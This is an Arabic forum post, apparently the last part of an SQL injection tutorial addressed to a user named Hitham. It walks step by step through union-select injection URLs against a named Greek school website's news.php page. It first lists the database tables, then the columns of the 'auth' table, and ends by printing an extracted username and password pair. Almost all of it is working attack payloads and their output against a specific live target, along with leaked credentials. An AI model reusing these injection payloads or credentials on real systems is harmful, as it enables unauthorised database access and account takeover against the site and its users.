تفضل يا اخي Hitham شرح لاكتشاف الثغرةsql...المرحلة الثالثه والاخيره

union+select

dsasummercamp.edu.gr/news.php?id=123

Group_concat(table_name)

+From+information_schema.tables+where+table_schema=database()

Group_concat(table_name)

+From+information_schema.tables+where+table_schema=database()

http://dsasummercamp.edu.gr/news.php?id=-123+union+select+1,Group_concat%28table_name%29,3,4,5+From+information_schema.tables+where+table_schema=database%28%29

auth,categories,files_en,files_gr,intros_en,intros_gr,issue_contents_en,issue_contents_gr,link_categories,links,news_en,news_gr,pg,pg_categ,pg_photos,templates

Group_concat(column_name)

Group_concat(table_name)

+From+information_schema.columns+where+table_name=0xالجدول مشفرا

http://dsasummercamp.edu.gr/news.php?id=-123+union+select+1,Group_concat%28column_name%29,3,4,5+From+information_schema.columns+where+table_name=0x61757468

id,onoma,username,pass,type,published

 concat()

group-concat()

id,onoma,username,pass,type,published

0x3a3a

::

concat(username,0x3a3a,pass)

+
from
+
اسم القاعده
.
الجدول
--

http://dsasummercamp.edu.gr/news.php?id=-123+union+select+1,concat%28username,0x3a3a,pass%29,3,4,5+From+itis_dsa.auth--

thecube::pelopidas